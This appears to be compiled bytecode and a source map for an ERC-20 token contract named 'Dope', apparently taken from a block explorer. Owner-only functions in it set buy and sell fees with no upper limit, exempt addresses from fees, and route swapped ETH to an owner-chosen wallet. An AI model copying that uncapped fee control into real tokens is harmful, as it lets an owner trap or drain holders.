0x6080604052600436106101c65760003560e01c80635342acb4116100f757806395d89b4111610095578063c024666811610064578063c024666814610550578063d2fcc00114610570578063dd62ed3e14610590578063f2fde38b146105d657600080fd5b806395d89b41146104c3578063a457c2d7146104f0578063a5ece94114610510578063a9059cbb1461053057600080fd5b806370a08231116100d157806370a082311461043a578063715018a6146104705780638da5cb5b14610485578063906e9dd0146104a357600080fd5b80635342acb4146103b357806366eb3785146103ec5780636dd3d39f1461040157600080fd5b80632b14ca56116101645780633f3018931161013e5780633f3018931461033a57806345596e2e1461035c578063470624021461037c57806349bd5a5e1461039357600080fd5b80632b14ca56146102e7578063313ce567146102fe578063395093511461031a57600080fd5b80631299aec4116101a05780631299aec4146102655780631694505e1461027a57806318160ddd146102b257806323b872dd146102c757600080fd5b806306fdde03146101d2578063095ea7b3146102165780630e155a821461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152682237b8329031b7b4b760b91b60208201525b60405161020d91906112c9565b60405180910390f35b34801561022257600080fd5b5061023661023136600461132f565b6105f6565b604051901515815260200161020d565b34801561025257600080fd5b50600c545b60405190815260200161020d565b34801561027157600080fd5b50600b54610257565b34801561028657600080fd5b5060015461029a906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b3480156102be57600080fd5b50600854610257565b3480156102d357600080fd5b506102366102e236600461135b565b61060d565b3480156102f357600080fd5b50600c546102579081565b34801561030a57600080fd5b506040516012815260200161020d565b34801561032657600080fd5b5061023661033536600461132f565b61065f565b34801561034657600080fd5b5061035a61035536600461139c565b610696565b005b34801561036857600080fd5b5061035a6103773660046113be565b6106d4565b34801561038857600080fd5b50600b546102579081565b34801561039f57600080fd5b5060025461029a906001600160a01b031681565b3480156103bf57600080fd5b506102366103ce3660046113d7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f857600080fd5b5061035a610703565b34801561040d57600080fd5b5061023661041c3660046113d7565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561044657600080fd5b506102576104553660046113d7565b6001600160a01b031660009081526003602052604090205490565b34801561047c57600080fd5b5061035a610783565b34801561049157600080fd5b506000546001600160a01b031661029a565b3480156104af57600080fd5b5061035a6104be3660046113d7565b6107f7565b3480156104cf57600080fd5b50604080518082019091526004815263446f706560e01b6020820152610200565b3480156104fc57600080fd5b5061023661050b36600461132f565b610843565b34801561051c57600080fd5b50600a5461029a906001600160a01b031681565b34801561053c57600080fd5b5061023661054b36600461132f565b61087a565b34801561055c57600080fd5b5061035a61056b3660046113f4565b610887565b34801561057c57600080fd5b5061035a61058b3660046113f4565b6108dc565b34801561059c57600080fd5b506102576105ab366004611432565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e257600080fd5b5061035a6105f13660046113d7565b610931565b6000610603338484610a1b565b5060015b92915050565b600061061a848484610b3f565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610655918691610650908690611476565b610a1b565b5060019392505050565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610603918590610650908690611489565b6000546001600160a01b031633146106c95760405162461bcd60e51b81526004016106c09061149c565b60405180910390fd5b600b91909155600c55565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016106c09061149c565b600755565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016106c09061149c565b3060009081526003602052604090205461074681610f54565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561077f573d6000803e3d6000fd5b5050565b6000546001600160a01b031633146107ad5760405162461bcd60e51b81526004016106c09061149c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108215760405162461bcd60e51b81526004016106c09061149c565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610603918590610650908690611476565b6000610603338484610b3f565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b0381166109c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106c0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c0565b6001600160a01b038216610ade5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c0565b6001600160a01b038216610c055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c0565b60008111610c675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106c0565b6000546001600160a01b03848116911614801590610c9357506000546001600160a01b03838116911614155b8015610cb857506001600160a01b03821660009081526006602052604090205460ff16155b15610d3757600954610ce982610ce3856001600160a01b031660009081526003602052604090205490565b906110ae565b1115610d375760405162461bcd60e51b815260206004820152601760248201527f4d61782042616c616e636520697320726561636865642e00000000000000000060448201526064016106c0565b6001600160a01b03831660009081526003602052604081208054839290610d5f908490611476565b90915550506001600160a01b03831660009081526005602052604081205482919060ff16158015610da957506001600160a01b03841660009081526005602052604090205460ff16155b8015610db65750600b5415155b8015610dc35750600c5415155b15610dcc575060015b8015610ed1576002546001600160a01b03858116911614610df857610df18385611114565b9150610ed1565b610e0283866111af565b6007546002546001600160a01b031660009081526003602052604081205492945091610e3b916103e891610e35916111c5565b90611247565b306000908152600360205260409020549091508111158015610e605750600e5460ff16155b15610e8657600e805460ff19166001179055610e7b81611289565b600e805460ff191690555b600e5460ff16610ecf57600e805460ff19166001179055610ec4610ebf306001600160a01b031660009081526003602052604090205490565b611289565b600e805460ff191690555b505b6001600160a01b03841660009081526003602052604081208054849290610ef9908490611489565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f4591815260200190565b60405180910390a35050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8957610f896114d1565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100691906114e7565b81600181518110611019576110196114d1565b6001600160a01b03928316602091820292909201015260015461103f9130911684610a1b565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611078908590600090869030904290600401611504565b600060405180830381600087803b15801561109257600080fd5b505af11580156110a6573d6000803e3d6000fd5b505050505050565b6000806110bb8385611489565b90508381101561110d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c0565b9392505050565b6000806064600b600001548561112a9190611575565b611134919061158c565b30600090815260036020526040812080549293508392909190611158908490611489565b909155505060405181815230906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36111a78185611476565b949350505050565b6000806064600c600001548561112a9190611575565b6000826000036111d757506000610607565b60006111e38385611575565b9050826111f0858361158c565b1461110d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106c0565b600061110d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611292565b61074681610f54565b600081836112b35760405162461bcd60e51b81526004016106c091906112c9565b5060006112c0848661158c565b95945050505050565b600060208083528351808285015260005b818110156112f6578581018301518582016040015282016112da565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461132c57600080fd5b50565b6000806040838503121561134257600080fd5b823561134d81611317565b946020939093013593505050565b60008060006060848603121561137057600080fd5b833561137b81611317565b9250602084013561138b81611317565b929592945050506040919091013590565b600080604083850312156113af57600080fd5b50508035926020909101359150565b6000602082840312156113d057600080fd5b5035919050565b6000602082840312156113e957600080fd5b813561110d81611317565b6000806040838503121561140757600080fd5b823561141281611317565b91506020830135801515811461142757600080fd5b809150509250929050565b6000806040838503121561144557600080fd5b823561145081611317565b9150602083013561142781611317565b634e487b7160e01b600052601160045260246000fd5b8181038181111561060757610607611460565b8082018082111561060757610607611460565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114f957600080fd5b815161110d81611317565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115545784516001600160a01b03168352938301939183019160010161152f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761060757610607611460565b6000826115a957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208b27161bc8d6b8b265718f1a22e92655e701c8ef4bd8545483665fb9f67509c964736f6c63430008130033
Deployed Bytecode Sourcemap
4478:8572:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6538:83;;;;;;;;;;-1:-1:-1;6608:5:0;;;;;;;;;;;;-1:-1:-1;;;6608:5:0;;;;6538:83;;;;;;;:::i;:::-;;;;;;;;7374:161;;;;;;;;;;-1:-1:-1;7374:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7374:161:0;1023:187:1;9017:104:0;;;;;;;;;;-1:-1:-1;9096:7:0;:17;9017:104;;;1361:25:1;;;1349:2;1334:18;9017:104:0;1215:177:1;8907:102:0;;;;;;;;;;-1:-1:-1;8985:6:0;:16;8907:102;;4564:41;;;;;;;;;;-1:-1:-1;4564:41:0;;;;-1:-1:-1;;;;;4564:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4564:41:0;1397:229:1;6815:99:0;;;;;;;;;;-1:-1:-1;6895:11:0;;6815:99;;7543:266;;;;;;;;;;-1:-1:-1;7543:266:0;;;;;:::i;:::-;;:::i;5461:23::-;;;;;;;;;;-1:-1:-1;5461:23:0;;;;;;6724:83;;;;;;;;;;-1:-1:-1;6724:83:0;;5077:2;2234:36:1;;2222:2;2207:18;6724:83:0;2092:184:1;7817:215:0;;;;;;;;;;-1:-1:-1;7817:215:0;;;;;:::i;:::-;;:::i;8580:169::-;;;;;;;;;;-1:-1:-1;8580:169:0;;;;;:::i;:::-;;:::i;:::-;;10111:97;;;;;;;;;;-1:-1:-1;10111:97:0;;;;;:::i;:::-;;:::i;5433:21::-;;;;;;;;;;-1:-1:-1;5433:21:0;;;;;;4614:28;;;;;;;;;;-1:-1:-1;4614:28:0;;;;-1:-1:-1;;;;;4614:28:0;;;9837:123;;;;;;;;;;-1:-1:-1;9837:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;9925:27:0;9901:4;9925:27;;;:18;:27;;;;;;;;;9837:123;12199:204;;;;;;;;;;;;;:::i;9968:135::-;;;;;;;;;;-1:-1:-1;9968:135:0;;;;;:::i;:::-;-1:-1:-1;;;;;10062:33:0;10038:4;10062:33;;;:24;:33;;;;;;;;;9968:135;6922:118;;;;;;;;;;-1:-1:-1;6922:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;7015:17:0;6988:7;7015:17;;;:8;:17;;;;;;;6922:118;3216:148;;;;;;;;;;;;;:::i;3002:79::-;;;;;;;;;;-1:-1:-1;3040:7:0;3067:6;-1:-1:-1;;;;;3067:6:0;3002:79;;8757:142;;;;;;;;;;-1:-1:-1;8757:142:0;;;;;:::i;:::-;;:::i;6629:87::-;;;;;;;;;;-1:-1:-1;6701:7:0;;;;;;;;;;;;-1:-1:-1;;;6701:7:0;;;;6629:87;;8040:225;;;;;;;;;;-1:-1:-1;8040:225:0;;;;;:::i;:::-;;:::i;5214:93::-;;;;;;;;;;-1:-1:-1;5214:93:0;;;;-1:-1:-1;;;;;5214:93:0;;;7048:167;;;;;;;;;;-1:-1:-1;7048:167:0;;;;;:::i;:::-;;:::i;8273:140::-;;;;;;;;;;-1:-1:-1;8273:140:0;;;;;:::i;:::-;;:::i;8421:151::-;;;;;;;;;;-1:-1:-1;8421:151:0;;;;;:::i;:::-;;:::i;7223:143::-;;;;;;;;;;-1:-1:-1;7223:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7331:18:0;;;7304:7;7331:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7223:143;3372:244;;;;;;;;;;-1:-1:-1;3372:244:0;;;;;:::i;:::-;;:::i;7374:161::-;7449:4;7466:39;2414:10;7489:7;7498:6;7466:8;:39::i;:::-;-1:-1:-1;7523:4:0;7374:161;;;;;:::o;7543:266::-;7641:4;7658:36;7668:6;7676:9;7687:6;7658:9;:36::i;:::-;-1:-1:-1;;;;;7736:19:0;;;;;;:11;:19;;;;;;;;2414:10;7736:33;;;;;;;;;7705:74;;7714:6;;7736:42;;7772:6;;7736:42;:::i;:::-;7705:8;:74::i;:::-;-1:-1:-1;7797:4:0;7543:266;;;;;:::o;7817:215::-;2414:10;7905:4;7954:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7954:34:0;;;;;;;;;;7905:4;;7922:80;;7945:7;;7954:47;;7991:10;;7954:47;:::i;8580:169::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;;;;;;;;;8672:6:::1;:28:::0;;;;8711:7:::1;:30:::0;8580:169::o;10111:97::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;10179:12:::1;:21:::0;10111:97::o;12199:204::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;12290:4:::1;12255:14;7015:17:::0;;;:8;:17;;;;;;12305:24:::1;7015:17:::0;12305:16:::1;:24::i;:::-;12346:16;::::0;12338:57:::1;::::0;-1:-1:-1;;;;;12346:16:0;;::::1;::::0;12373:21:::1;12338:57:::0;::::1;;;::::0;12346:16:::1;12338:57:::0;12346:16;12338:57;12373:21;12346:16;12338:57;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12246:157;12199:204::o:0;3216:148::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;3323:1:::1;3307:6:::0;;3286:40:::1;::::0;-1:-1:-1;;;;;3307:6:0;;::::1;::::0;3286:40:::1;::::0;3323:1;;3286:40:::1;3354:1;3337:19:::0;;-1:-1:-1;;;;;;3337:19:0::1;::::0;;3216:148::o;8757:142::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;8853:16:::1;:38:::0;;-1:-1:-1;;;;;;8853:38:0::1;-1:-1:-1::0;;;;;8853:38:0;;;::::1;::::0;;;::::1;::::0;;8757:142::o;8040:225::-;2414:10;8133:4;8182:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8182:34:0;;;;;;;;;;8133:4;;8150:85;;8173:7;;8182:52;;8219:15;;8182:52;:::i;7048:167::-;7126:4;7143:42;2414:10;7167:9;7178:6;7143:9;:42::i;8273:140::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8358:36:0;;;::::1;;::::0;;;:18:::1;:36;::::0;;;;:47;;-1:-1:-1;;8358:47:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8273:140::o;8421:151::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8511:42:0;;;::::1;;::::0;;;:24:::1;:42;::::0;;;;:53;;-1:-1:-1;;8511:53:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8421:151::o;3372:244::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2414:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3461:22:0;::::1;3453:73;;;::::0;-1:-1:-1;;;3453:73:0;;5435:2:1;3453:73:0::1;::::0;::::1;5417:21:1::0;5474:2;5454:18;;;5447:30;5513:34;5493:18;;;5486:62;-1:-1:-1;;;5564:18:1;;;5557:36;5610:19;;3453:73:0::1;5233:402:1::0;3453:73:0::1;3563:6;::::0;;3542:38:::1;::::0;-1:-1:-1;;;;;3542:38:0;;::::1;::::0;3563:6;::::1;::::0;3542:38:::1;::::0;::::1;3591:6;:17:::0;;-1:-1:-1;;;;;;3591:17:0::1;-1:-1:-1::0;;;;;3591:17:0;;;::::1;::::0;;;::::1;::::0;;3372:244::o;10216:337::-;-1:-1:-1;;;;;10309:19:0;;10301:68;;;;-1:-1:-1;;;10301:68:0;;5842:2:1;10301:68:0;;;5824:21:1;5881:2;5861:18;;;5854:30;5920:34;5900:18;;;5893:62;-1:-1:-1;;;5971:18:1;;;5964:34;6015:19;;10301:68:0;5640:400:1;10301:68:0;-1:-1:-1;;;;;10388:21:0;;10380:68;;;;-1:-1:-1;;;10380:68:0;;6247:2:1;10380:68:0;;;6229:21:1;6286:2;6266:18;;;6259:30;6325:34;6305:18;;;6298:62;-1:-1:-1;;;6376:18:1;;;6369:32;6418:19;;10380:68:0;6045:398:1;10380:68:0;-1:-1:-1;;;;;10461:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10513:32;;1361:25:1;;;10513:32:0;;1334:18:1;10513:32:0;;;;;;;10216:337;;;:::o;10561:1630::-;-1:-1:-1;;;;;10683:18:0;;10675:68;;;;-1:-1:-1;;;10675:68:0;;6650:2:1;10675:68:0;;;6632:21:1;6689:2;6669:18;;;6662:30;6728:34;6708:18;;;6701:62;-1:-1:-1;;;6779:18:1;;;6772:35;6824:19;;10675:68:0;6448:401:1;10675:68:0;-1:-1:-1;;;;;10762:16:0;;10754:64;;;;-1:-1:-1;;;10754:64:0;;7056:2:1;10754:64:0;;;7038:21:1;7095:2;7075:18;;;7068:30;7134:34;7114:18;;;7107:62;-1:-1:-1;;;7185:18:1;;;7178:33;7228:19;;10754:64:0;6854:399:1;10754:64:0;10846:1;10837:6;:10;10829:64;;;;-1:-1:-1;;;10829:64:0;;7460:2:1;10829:64:0;;;7442:21:1;7499:2;7479:18;;;7472:30;7538:34;7518:18;;;7511:62;-1:-1:-1;;;7589:18:1;;;7582:39;7638:19;;10829:64:0;7258:405:1;10829:64:0;3040:7;3067:6;-1:-1:-1;;;;;10909:15:0;;;3067:6;;10909:15;;;;:32;;-1:-1:-1;3040:7:0;3067:6;-1:-1:-1;;;;;10928:13:0;;;3067:6;;10928:13;;10909:32;:65;;;;-1:-1:-1;;;;;;10946:28:0;;;;;;:24;:28;;;;;;;;10945:29;10909:65;10906:173;;;11027:12;;10998:25;11016:6;10998:13;11008:2;-1:-1:-1;;;;;7015:17:0;6988:7;7015:17;;;:8;:17;;;;;;;6922:118;10998:13;:17;;:25::i;:::-;:41;;10990:77;;;;-1:-1:-1;;;10990:77:0;;7870:2:1;10990:77:0;;;7852:21:1;7909:2;7889:18;;;7882:30;7948:25;7928:18;;;7921:53;7991:18;;10990:77:0;7668:347:1;10990:77:0;-1:-1:-1;;;;;11091:14:0;;;;;;:8;:14;;;;;:24;;11109:6;;11091:14;:24;;11109:6;;11091:24;:::i;:::-;;;;-1:-1:-1;;;;;;;11199:24:0;;11126:22;11199:24;;;:18;:24;;;;;;11151:6;;11126:22;11199:24;;11198:25;:52;;;;-1:-1:-1;;;;;;11228:22:0;;;;;;:18;:22;;;;;;;;11227:23;11198:52;:76;;;;-1:-1:-1;11254:6:0;:16;:20;;11198:76;:101;;;;-1:-1:-1;11278:7:0;:17;:21;;11198:101;11195:146;;;-1:-1:-1;11325:4:0;11195:146;11356:7;11353:738;;;11388:13;;-1:-1:-1;;;;;11382:19:0;;;11388:13;;11382:19;11379:701;;11438:23;11450:6;11458:2;11438:11;:23::i;:::-;11421:40;;11379:701;;;11519:26;11532:6;11540:4;11519:12;:26::i;:::-;11621:12;;11602:13;;-1:-1:-1;;;;;11602:13:0;11564:25;7015:17;;;:8;:17;;;;;;11502:43;;-1:-1:-1;11564:25:0;11592:52;;11639:4;;11592:42;;:28;:42::i;:::-;:46;;:52::i;:::-;11687:4;6988:7;7015:17;;;:8;:17;;;;;;11564:80;;-1:-1:-1;11564:80:0;-1:-1:-1;11669:45:0;:58;;;;-1:-1:-1;11719:8:0;;;;11718:9;11669:58;11665:211;;;11752:8;:15;;-1:-1:-1;;11752:15:0;11763:4;11752:15;;;11790:27;11799:17;11790:8;:27::i;:::-;11840:8;:16;;-1:-1:-1;;11840:16:0;;;11665:211;11901:8;;;;11896:169;;11934:8;:15;;-1:-1:-1;;11934:15:0;11945:4;11934:15;;;11972:34;11981:24;11999:4;-1:-1:-1;;;;;7015:17:0;6988:7;7015:17;;;:8;:17;;;;;;;6922:118;11981:24;11972:8;:34::i;:::-;12029:8;:16;;-1:-1:-1;;12029:16:0;;;11896:169;11483:597;11379:701;-1:-1:-1;;;;;12103:12:0;;;;;;:8;:12;;;;;:30;;12119:14;;12103:12;:30;;12119:14;;12103:30;:::i;:::-;;;;;;;;12164:2;-1:-1:-1;;;;;12149:34:0;12158:4;-1:-1:-1;;;;;12149:34:0;;12168:14;12149:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;12149:34:0;;;;;;;;10664:1527;;10561:1630;;;:::o;12572:475::-;12662:16;;;12676:1;12662:16;;;;;;;;12638:21;;12662:16;;;;;;;;;;-1:-1:-1;12662:16:0;12638:40;;12707:4;12689;12694:1;12689:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12689:23:0;;;:7;;;;;;;;;;:23;;;;12733:15;;:22;;;-1:-1:-1;;;12733:22:0;;;;:15;;;;;:20;;:22;;;;;12689:7;;12733:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12723:4;12728:1;12723:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12723:32:0;;;:7;;;;;;;;;:32;12800:15;;12768:62;;12785:4;;12800:15;12818:11;12768:8;:62::i;:::-;12843:15;;:196;;-1:-1:-1;;;12843:196:0;;-1:-1:-1;;;;;12843:15:0;;;;:66;;:196;;12924:11;;12843:15;;12966:4;;12993;;13013:15;;12843:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12627:420;12572:475;:::o;773:181::-;831:7;;863:5;867:1;863;:5;:::i;:::-;851:17;;892:1;887;:6;;879:46;;;;-1:-1:-1;;;879:46:0;;9727:2:1;879:46:0;;;9709:21:1;9766:2;9746:18;;;9739:30;9805:29;9785:18;;;9778:57;9852:18;;879:46:0;9525:351:1;879:46:0;945:1;773:181;-1:-1:-1;;;773:181:0:o;9166:326::-;9234:7;9254:26;9311:3;9292:6;:16;;;9283:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;9344:4;9327:23;;;;:8;:23;;;;;:45;;9254:60;;-1:-1:-1;9254:60:0;;9327:23;;;:45;;9254:60;;9327:45;:::i;:::-;;;;-1:-1:-1;;9388:50:0;;1361:25:1;;;9412:4:0;;-1:-1:-1;;;;;9388:50:0;;;;;1349:2:1;1334:18;9388:50:0;;;;;;;9457:26;9465:18;9457:6;:26;:::i;:::-;9449:35;9166:326;-1:-1:-1;;;;9166:326:0:o;9500:329::-;9569:7;9589:26;9647:3;9627:7;:17;;;9618:6;:26;;;;:::i;1306:250::-;1364:7;1388:1;1393;1388:6;1384:47;;-1:-1:-1;1418:1:0;1411:8;;1384:47;1443:9;1455:5;1459:1;1455;:5;:::i;:::-;1443:17;-1:-1:-1;1488:1:0;1479:5;1483:1;1443:17;1479:5;:::i;:::-;:10;1471:56;;;;-1:-1:-1;;;1471:56:0;;10478:2:1;1471:56:0;;;10460:21:1;10517:2;10497:18;;;10490:30;10556:34;10536:18;;;10529:62;-1:-1:-1;;;10607:18:1;;;10600:31;10648:19;;1471:56:0;10276:397:1;1564:132:0;1622:7;1649:39;1653:1;1656;1649:39;;;;;;;;;;;;;;;;;:3;:39::i;12411:153::-;12464:24;12481:6;12464:16;:24::i;1704:278::-;1790:7;1825:12;1818:5;1810:28;;;;-1:-1:-1;;;1810:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1849:9:0;1861:5;1865:1;1861;:5;:::i;:::-;1849:17;1704:278;-1:-1:-1;;;;;1704:278:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2281:248::-;2349:6;2357;2410:2;2398:9;2389:7;2385:23;2381:32;2378:52;;;2426:1;2423;2416:12;2378:52;-1:-1:-1;;2449:23:1;;;2519:2;2504:18;;;2491:32;;-1:-1:-1;2281:248:1:o;2534:180::-;2593:6;2646:2;2634:9;2625:7;2621:23;2617:32;2614:52;;;2662:1;2659;2652:12;2614:52;-1:-1:-1;2685:23:1;;2534:180;-1:-1:-1;2534:180:1:o;2927:247::-;2986:6;3039:2;3027:9;3018:7;3014:23;3010:32;3007:52;;;3055:1;3052;3045:12;3007:52;3094:9;3081:23;3113:31;3138:5;3113:31;:::i;3663:416::-;3728:6;3736;3789:2;3777:9;3768:7;3764:23;3760:32;3757:52;;;3805:1;3802;3795:12;3757:52;3844:9;3831:23;3863:31;3888:5;3863:31;:::i;:::-;3913:5;-1:-1:-1;3970:2:1;3955:18;;3942:32;4012:15;;4005:23;3993:36;;3983:64;;4043:1;4040;4033:12;3983:64;4066:7;4056:17;;;3663:416;;;;;:::o;4084:388::-;4152:6;4160;4213:2;4201:9;4192:7;4188:23;4184:32;4181:52;;;4229:1;4226;4219:12;4181:52;4268:9;4255:23;4287:31;4312:5;4287:31;:::i;:::-;4337:5;-1:-1:-1;4394:2:1;4379:18;;4366:32;4407:33;4366:32;4407:33;:::i;4477:127::-;4538:10;4533:3;4529:20;4526:1;4519:31;4569:4;4566:1;4559:15;4593:4;4590:1;4583:15;4609:128;4676:9;;;4697:11;;;4694:37;;;4711:18;;:::i;4742:125::-;4807:9;;;4828:10;;;4825:36;;;4841:18;;:::i;4872:356::-;5074:2;5056:21;;;5093:18;;;5086:30;5152:34;5147:2;5132:18;;5125:62;5219:2;5204:18;;4872:356::o;8152:127::-;8213:10;8208:3;8204:20;8201:1;8194:31;8244:4;8241:1;8234:15;8268:4;8265:1;8258:15;8284:251;8354:6;8407:2;8395:9;8386:7;8382:23;8378:32;8375:52;;;8423:1;8420;8413:12;8375:52;8455:9;8449:16;8474:31;8499:5;8474:31;:::i;8540:980::-;8802:4;8850:3;8839:9;8835:19;8881:6;8870:9;8863:25;8907:2;8945:6;8940:2;8929:9;8925:18;8918:34;8988:3;8983:2;8972:9;8968:18;8961:31;9012:6;9047;9041:13;9078:6;9070;9063:22;9116:3;9105:9;9101:19;9094:26;;9155:2;9147:6;9143:15;9129:29;;9176:1;9186:195;9200:6;9197:1;9194:13;9186:195;;;9265:13;;-1:-1:-1;;;;;9261:39:1;9249:52;;9356:15;;;;9321:12;;;;9297:1;9215:9;9186:195;;;-1:-1:-1;;;;;;;9437:32:1;;;;9432: